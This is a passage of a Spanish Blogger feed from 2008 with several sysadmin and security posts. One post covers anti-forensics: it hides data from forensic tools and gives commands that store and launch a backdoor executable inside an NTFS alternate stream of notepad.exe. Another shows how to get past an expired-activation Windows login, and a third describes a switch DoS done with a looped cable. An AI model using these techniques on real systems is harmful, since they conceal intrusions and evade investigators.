Podemos guardar datos en swap. Luego dicen que la swap no es importante. Tambien nos decian de canijos "el contenido de la RAM se pierde nada mas apagar el ordenador". Hace 3 meses o asi lei que un tio decia que era posible averiguar que datos habia en la RAM hasta pocos minutos despues de apagar el equipo. Era todo muy teorico y muy electronico. Ni siquiera recuerdo donde lo lei, pero parecia serio. Al grano. Linux swap. Podemos crear en la swap un segmento marcado como paginas_invalidas, bad_pages creo que dicen los guiris, y guardar nuestros datos a partir de ahi. La herramienta que yo conozco se llama Bigboo. &lt;br /&gt;&lt;br /&gt;Seguimos en Linux. Algunos sistemas de archivos como ext2, asumen demasiadas cosas. En ext2 el i-nodo de la raiz es el numero 2, y ext2 ejemplo asume que no pueden existir bloques defectuosos antes del i-nodo de la raiz. Y algunas herramientas forenses, por lo menos el The Coroner's Toolkit ese famoso y The Sleuth Kit en UNIX asumen lo mismo y no miran ahi. Bien, creemos un bad block en el i-nodo 1 del disco. Por ejemplo, con Runefs, que forma parte de The Defiler's Toolkit. &lt;br /&gt;&lt;br /&gt;Espacio indefinido. No se como traducir unallocated. Bien, algunas herramientas forenses solo examinan la parte del disco que esta particionada, olvidandose de la parte sin particionar. ¿Herramientas capaces de alojar datos en el espacio "unallocated" entre particiones? StegFS para Linux. Slacker de Metasploit para Win. &lt;br /&gt;&lt;br /&gt;¿Estabamos hablando de esconder no? Sigamos. Con TrueCrypt podemos crear un segundo sistema de archivos oculto en el visible. ¿Esto por que? Porque si eres detenido y te obligan a cantar la contraseña de TrueCrypt, siempre tienes en ese sistema de archivos oculto en el habitual la informacion realmente sensible. Asi que aun te quedan esperanzas de que lo descubierto sea suficiente para tus interrogadores. &lt;br /&gt;&lt;br /&gt;Aun hay mas. ext3 todos sabemos que es ext2+journaling. Waffen FS puede almacenar datos en el espacio reservado para journaling. &lt;br /&gt;&lt;br /&gt;Mas comentarios breves sobre Linux. Ky FS puede guardar datos escondiendolos en directorios. &lt;br /&gt;&lt;br /&gt;En Linux, The Defiler's Toolkit puede almacenar datos y marcar esos bloques como bad. Eso evadia a un viejo The Coroner's Toolkit, pero no a una version de 2006 o asi. The Sleuth Kit tambien es capaz de analizar datos en bad sectors. &lt;br /&gt;&lt;br /&gt;Vayamonos a Win. NTFS. NTFS tiene una caracteristica que se llama Alternate Stream Date (ASD). ¿Que quiere decir esto? En la practica esto nos permite crear archivos en archivos. Veamoslo con un ejemplo: &lt;br /&gt;&lt;br /&gt;c:\ type backdoor.exe &gt;%systemroot%\notepad.exe:backdoor_muy_mala.exe &lt;br /&gt;&lt;br /&gt;notepad.exe seguira igual. Mismo tamaño, mismo contenido. Para ejecutar nuestra backdoor: &lt;br /&gt;&lt;br /&gt;c:\&gt; start .\..\..\..\..\..\..\..\%systemroot%\notepad.exe:backdoor_muy_mala.exe &lt;br /&gt;&lt;br /&gt;Y bueno, estoy cansado, esto sobre anti-forensics en sistemas de archivos por hoy. Tiene mas chicha esto, hay analisis forense en trafico de red (y anti-forense, ¿alguien recuerda Loki de phrack? Era bello eh...), hay metodos de ataque anti-forense activos como dejar de antemano el menor numero de huellas posibles, buscad en google. O acciones tan simples como usar una live-CD, o montar una particion como read-only... &lt;br /&gt;&lt;br /&gt;Pero antes tan solo nombrar una herramienta muy maja que forma parte de Metasploit: Transmogrify. Sirve para evadir analisis de archivos modificados. Evadir al mitico tripwire. Sobre esto solo terminar con una frase: Es posible crear 2 archivos diferentes con el mismo hash MD5. ¿Y esto para que nos sirve? ¿Vosotros que pensais, que utilidad tiene esto en anti-forense? &lt;br /&gt;&lt;br /&gt;Suerte y Exitos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1104069882723793379?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1104069882723793379' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1104069882723793379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1104069882723793379'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/07/anti-forensics.html' title='Anti-forensics'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-471387409291726576</id><published>2008-06-13T16:36:00.006+02:00</published><updated>2010-08-14T23:03:14.085+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='monitorizacion'/><title type='text'>Testear FTP bash</title><content type='html'>Esta codificado para testear FTP, pero es facilmente adaptable a cualquier otro servicio.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#check_ftp.sh 1.1&lt;br /&gt;#vlan7 - http://vlan7.blogspot.com&lt;br /&gt;#&lt;br /&gt;#Based on GNUcitizen's bash portscanner&lt;br /&gt;#&lt;br /&gt;#News from 1.0 to 1.1 / 13-Jun-2008&lt;br /&gt;#if-else en vez de 2 ifs, mas elegante, 1 comprobacion menos&lt;br /&gt;#&lt;br /&gt;#1.0 / 12-Jun-2008&lt;br /&gt;#Chequea status FTPs&lt;br /&gt;#&lt;br /&gt;#Requisitos: bash&lt;br /&gt;#&lt;br /&gt;#Entrada: ftps.txt&lt;br /&gt;#&lt;br /&gt;#Salida: Escribe en salida estandar "FTP &lt;host&gt; OK" / "FTP &lt;host&gt; *NO* OK"&lt;br /&gt;#&lt;br /&gt;#Formato Entrada: Un server FTP por linea&lt;br /&gt;#&lt;br /&gt;#Nota: Para escanear otros puertos puede ser necesario mandar logout / exit en vez de quit&lt;br /&gt;#&lt;br /&gt;#!/bin/bash&lt;br /&gt;for host in $(cat ftps.txt) ; do&lt;br /&gt;  if echo -en "o $host 21\nquit\n" |telnet 2&gt;/dev/null |grep 'Connected to' &gt;/dev/null; then&lt;br /&gt;    echo -en "FTP $host OK\n";&lt;br /&gt;  else&lt;br /&gt;    echo -en "FTP $host *NO* OK\n";&lt;br /&gt;  fi&lt;br /&gt;done&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-471387409291726576?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=471387409291726576' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/471387409291726576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/471387409291726576'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/06/testear-ftp-bash.html' title='Testear FTP bash'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2965674343433894090</id><published>2008-05-16T09:32:00.003+02:00</published><updated>2010-01-22T08:29:57.583+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='regedit'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Win juego Corazones. Ver cartas de los oponentes</title><content type='html'>&lt;b&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Crear un nuevo valor con nombre &lt;b&gt;ZB&lt;/b&gt; de tipo &lt;b&gt;string&lt;/b&gt; y valor &lt;b&gt;42&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Pulsando &lt;b&gt;CTRL+ALT+MAYUS+F12&lt;/b&gt; deberiamos ver las cartas de los oponentes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2965674343433894090?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2965674343433894090' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2965674343433894090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2965674343433894090'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/05/win-juego-corazones-ver-cartas-de-los.html' title='Win juego Corazones. Ver cartas de los oponentes'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8849618516149125949</id><published>2008-05-14T17:01:00.006+02:00</published><updated>2010-08-14T23:06:07.801+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Logearse en un windows cuyo periodo de activacion ha expirado</title><content type='html'>Si no activas win en 30 dias, este expira y no nos deja iniciar sesion.&lt;br /&gt;&lt;br /&gt;En la pantalla de login, selecciona un usuario.&lt;br /&gt;&lt;br /&gt;Dara error y nos dira que win ha expirado y que si queremos activarlo. Di que si.&lt;br /&gt;&lt;br /&gt;Minimiza (no cierres) la pantalla de "Vamos a activar Windows".&lt;br /&gt;&lt;br /&gt;Tecla de Windows + U&lt;br /&gt;&lt;br /&gt;Se abre el programa narrador (accesibilidad para vision pobre).&lt;br /&gt;&lt;br /&gt;Haz click en el pequeño icono de ordenador que aparece en la esquina superior izquierda de la ventana.&lt;br /&gt;&lt;br /&gt;Se nos abrira la pantalla de "Acerca de".&lt;br /&gt;&lt;br /&gt;Fijate que hay un link a la pagina de Microsoft. Pincha en el.&lt;br /&gt;&lt;br /&gt;Uau, acceso a Internet :)&lt;br /&gt;&lt;br /&gt;Tambien puedes acceder a tus archivos introduciendo como direccion &lt;b&gt;C:\&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Intentar iniciar el proceso &lt;b&gt;explorer.exe&lt;/b&gt; en XP para tener barra de abajo no sirve de mucho, pues se cierra a los pocos instantes. Pero me han dicho que Vista no finaliza el proceso &lt;b&gt;explorer.exe&lt;/b&gt;, hecho que no he podido confirmar.&lt;br /&gt;&lt;br /&gt;Que lo disfruteis.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8849618516149125949?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8849618516149125949' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8849618516149125949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8849618516149125949'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/05/logearse-en-un-windows-cuyo-periodo-de.html' title='Logearse en un windows cuyo periodo de activacion ha expirado'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1751066820381138879</id><published>2008-05-06T17:53:00.008+02:00</published><updated>2011-11-21T10:58:15.512+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><title type='text'>Solaris. Creando un servidor local para pkg-get</title><content type='html'>Todo lo de la entrada anterior esta muy bien, pero resulta que en el trabajo, en un cliente, los servidores no pueden tener acceso a internet por motivos de seguridad.&lt;br /&gt;&lt;br /&gt;Tenia que instalar OpenSSH para Solaris 8. Bajando paquetes de sunfreeware.com tenia problemas con una libreria: libcrypto. La dependencia OpenSSL me instalaba una version anterior de la libreria, aun instalando la ultima version de OpenSSL.&lt;br /&gt;&lt;br /&gt;Instalar libgcc e incluir la ruta de las librerias en la variable de entorno LD_LIBRARY_PATH ademas de intentar engañar al sistema creando un enlace blando a la vieja version con el nombre de la nueva... no sirvio de nada.&lt;br /&gt;&lt;br /&gt;Vi que los chicos de Blastwave daban la opcion de instalar paquetes con pkg-get desde un cdrom, pero costaba dinero ese DVD.&lt;br /&gt;&lt;br /&gt;pkg-get permite especificar /cdrom/cdrom0/paquete , asi que pense en editar la ruta del "repositorio" en el archivo de configuracion de pkg-get para que la url apuntara a la ruta local de mi directorio donde tenia el paquete openssh bajado de http://blastwave.solaris-fr.org/&lt;br /&gt;&lt;br /&gt;La primera en la frente, me di cuenta de que iba a buscarlos a sparc/5.8&lt;br /&gt;&lt;br /&gt;Bien, movi el paquete a sparc/5.8 dejando la ruta del archivo de configuracion como estaba, y la segunda en la frente. Faltaba el catalogo.&lt;br /&gt;&lt;br /&gt;Buscando en google encontre una pagina (&lt;a href="http://www.sunfreeware.com/pkg-get.html"&gt;&lt;b&gt;http://www.sunfreeware.com/pkg-get.html&lt;/b&gt;&lt;/a&gt;) con el archivo BOLTpget.pkg que me dispuse a bajar y a instalar en el sistema con&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;pkgadd -d BOLT*&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Actualice (cree) el catalogo:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;pkg-get -U&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Probe de nuevo a hacer un &lt;b&gt;pkg-get -i openssh&lt;/b&gt; pero me fue pidiendo archivos necesarios para todo "repositorio" de pkg-get.&lt;br /&gt;&lt;br /&gt;Me pidio el archivo &lt;b&gt;catalog&lt;/b&gt; y luego el archivo &lt;b&gt;descriptions&lt;/b&gt; , que me propuse a bajar de la URL que mencione antes y colocarlos en sparc/5.8&lt;br /&gt;&lt;br /&gt;Luego me fue pidiendo dependencias continuamente, y tuve que ir bajando una a una a base de prueba y error. Estas fueron las que me pidio:&lt;br /&gt;common* , openssl* , zli^b* , tcpwrappers* y krb5*&lt;br /&gt;&lt;br /&gt;Cuando hube bajado todas, por fin quedo instalado OpenSSH.&lt;br /&gt;&lt;br /&gt;P.D. Los malos chicos de Blastwave permiten especificar /cdrom/cdrom0 como "repositorio" local, pero ningun otro directorio mas. Afortunadamente el servidor tenia instalado el daemon de ftp, asi que pude poner en el archivo de configuracion de pkg-get lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;url=ftp://root:clave@127.0.0.1/tmp/openssh&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1751066820381138879?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1751066820381138879' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1751066820381138879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1751066820381138879'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/05/solaris-creando-un-servidor-local-para.html' title='Solaris. Creando un servidor local para pkg-get'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8512289827937549388</id><published>2008-05-05T10:38:00.009+02:00</published><updated>2010-08-14T23:07:15.915+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><title type='text'>Instalacion de paquetes en Solaris 8/9</title><content type='html'>Una especie de APT / Portage para Solaris 8/9.&lt;br /&gt;&lt;br /&gt;Para info sobre Solaris 10, visitar &lt;a href="http://www.blastwave.org"&gt;&lt;b&gt;http://www.blastwave.org&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. Verificamos que tenemos los parches necesarios:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;showrev –p |grep &amp;lt;num&amp;gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Donde &lt;b&gt;&amp;lt;num&amp;gt;&lt;/b&gt; es:&lt;br /&gt;&lt;br /&gt;Solaris 8 Sparc: &lt;b&gt;110934&lt;/b&gt;&lt;br /&gt;Solaris 8 x86: &lt;b&gt;110935&lt;/b&gt;&lt;br /&gt;Solaris 9 Sparc: &lt;b&gt;113713&lt;/b&gt;&lt;br /&gt;Solaris 9 x86: &lt;b&gt;114568&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Si no lo tenemos, instalar con patchadd el ultimo cluster mas las ultimas revisiones.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. Bajamos pkg-get a /tmp:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blastwave.org/pkg_get.pkg"&gt;&lt;b&gt;http://www.blastwave.org/pkg_get.pkg&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. Instalamos pkg-get:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;pkgadd –d /tmp/pkg_get.pkg all&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;[&lt;b&gt;y&lt;/b&gt;]es a todo&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. Bajamos wget:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Para Sparc:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blastwave.org/wget-sparc.bin"&gt;&lt;b&gt;http://www.blastwave.org/wget-sparc.bin&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para x86:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blastwave.org/wget-i386.bin"&gt;&lt;b&gt;http://www.blastwave.org/wget-i386.bin&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5. Lo movemos a /tmp renombrado a wget:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;mv wget-sparc.bin /tmp/wget&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;6. Damos permisos de ejecucion:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;chmod 755 /tmp/wget&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;7. Incluimos /tmp y /opt/csw/bin en el PATH temporalmente:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;PATH=/tmp:/opt/csw/bin:$PATH&lt;br /&gt;export PATH&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;8. Verificar que en /opt/csw/etc/pkg-get.conf tenemos la URL de un "repositorio":&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Por defecto &lt;font color="#FF0000"&gt;&lt;b&gt;url=http://ibiblio.org/pub/packages/solaris/csw/unstable&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Lista de mirrors en &lt;a href="http://www.blastwave.org/mirrors.php"&gt;&lt;b&gt;http://www.blastwave.orc/mirrors.php&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;9. Instalamos wget:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;pkg-get –i wget&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;10. Borramos el binario de wget antiguo:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;rm /tmp/wget&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;11. Corregimos el PATH actual borrando /tmp:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;PATH=`echo $PATH |sed 's#\/tmp:##g'`:$PATH&lt;br /&gt;export PATH&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;12. Incluimos /opt/csw/bin en el PATH del usuario que necesite instalar paquetes. En el .profile de su $HOME&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;13. Instalamos &lt;i&gt;paquete&lt;/i&gt;:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;pkg-get –i &lt;i&gt;paquete&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8512289827937549388?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8512289827937549388' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8512289827937549388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8512289827937549388'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/05/instalacion-de-paquetes-en-solaris-89.html' title='Instalacion de paquetes en Solaris 8/9'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3503695257944795414</id><published>2008-04-25T12:43:00.005+02:00</published><updated>2010-08-14T23:09:38.644+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='backup'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Oracle. Multiplexando el archivo de control</title><content type='html'>Para tolerancia a fallos, tras la creacion de nuestra bd, es recomendable hacer una copia de seguridad del archivo de control &lt;b&gt;a otro disco duro&lt;/b&gt; del sistema.&lt;br /&gt;&lt;br /&gt;Lo normal es usar &lt;b&gt;SPFILE&lt;/b&gt; (binario), y solo convertirlo a &lt;b&gt;PFILE&lt;/b&gt; (texto) cuando queremos consultarlo. Con &lt;b&gt;SPFILE&lt;/b&gt; estos serian los pasos.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; Hacer un &lt;i&gt;alter&lt;/i&gt; (referenciar el archivo de control original y los multiplexados -copias-) en el &lt;b&gt;SPFILE&lt;/b&gt;:&lt;br /&gt;&lt;pre class="brush: plain"&gt;ALTER SYSTEM SET control_files = '$HOME/ORADATA/u01/ctrl01.ctl', '$HOME/ORADATA/u02/ctrl02.ctl' SCOPE=SPFILE;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt; Parar la bd:&lt;br /&gt;&lt;pre class="brush: bash"&gt;shutdown inmediate&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; Crear el/los archivo/s de control adicional/es:&lt;br /&gt;&lt;pre class="brush: bash"&gt;cp $HOME/ORADATA/u01/ctrl01.ctl $HOME/ORADATA/u02/ctrl02.ctl&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;4.&lt;/b&gt; Arrancar la bd:&lt;br /&gt;&lt;pre class="brush: bash"&gt;startup&lt;/pre&gt;&lt;br /&gt;Al arrancar la bd, se leera el &lt;b&gt;SPFILE&lt;/b&gt;, y el servidor Oracle mantendra todos los archivos de control listados en el parametro &lt;b&gt;CONTROL_FILES&lt;/b&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3503695257944795414?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3503695257944795414' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3503695257944795414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3503695257944795414'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/04/oracle-multiplexando-el-archivo-de.html' title='Oracle. Multiplexando el archivo de control'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2681857826609842774</id><published>2008-04-09T16:59:00.009+02:00</published><updated>2011-11-21T10:56:11.645+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Ataque fisico a un switch</title><content type='html'>Diria que poca gente sabe esto, pero basta conectar cada extremo de un cable directo a un par de bocas de la pared para conseguir causar un DoS al switch hacia donde van conectadas esas bocas.&lt;br /&gt;&lt;br /&gt;Puedes tener el CPD bajo llave, o seguridad biometrica para acceder al CPD, pero date cuenta de que basta un solo cable directo para que un desaprensivo nos tire un switch en nuestra organizacion. Da igual que sea Cisco.&lt;br /&gt;&lt;br /&gt;Como alguno me ha comentado, para evitar eso existe Spanning-Tree, mediante el cual podemos usar topologias fisicas redundantes libre de bucles. &lt;br /&gt;&lt;br /&gt;El problema de lo que comentaba es el broadcast, y si los switches no soportan Spanning Tree, DoS al switch. Basta que un switch no admita STP para que nos hagan un DoS a la red. Y no solo se cae el switch y la red, si tenemos equipos Win98, pantallazo azul.&lt;br /&gt;&lt;br /&gt;Lo primero que hay que hacer para asegurar un switch es deshabilitar siempre los puertos que no se usan. &lt;br /&gt;&lt;br /&gt;Si por algun motivo no se pueden desactivar los puertos que no se usan de un puente raiz, todos los puertos libres en el switch raiz o en el secundary root debemos protegerlos con un root guard. &lt;br /&gt;&lt;br /&gt;Con estas dos medidas, si nos conectan o un simple cable directo, no pasara nada, pues no tendran conectividad con el puente raiz y/o no perteneceran a la topologia STP. &lt;br /&gt;&lt;br /&gt;STP siempre bloquea al menos un puerto para datos (el broadcast para un switch es trafico de datos) por lo que la tormenta de broadcast se contiene independientemente de que el coste hacia el puente raiz sea identico por todos los caminos. &lt;br /&gt;&lt;br /&gt;Si se conecta un cable directo de un puerto del switch raiz a otro puerto del mismo switch, sin STP seguro que cae, con STP activado habria que verlo, lo mejor es desactivar los puertos que no usamos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2681857826609842774?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2681857826609842774' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2681857826609842774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2681857826609842774'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/04/ataque-fisico-un-switch.html' title='Ataque fisico a un switch'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-728811211227453497</id><published>2008-04-07T10:20:00.004+02:00</published><updated>2010-08-14T23:11:20.210+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Windows. 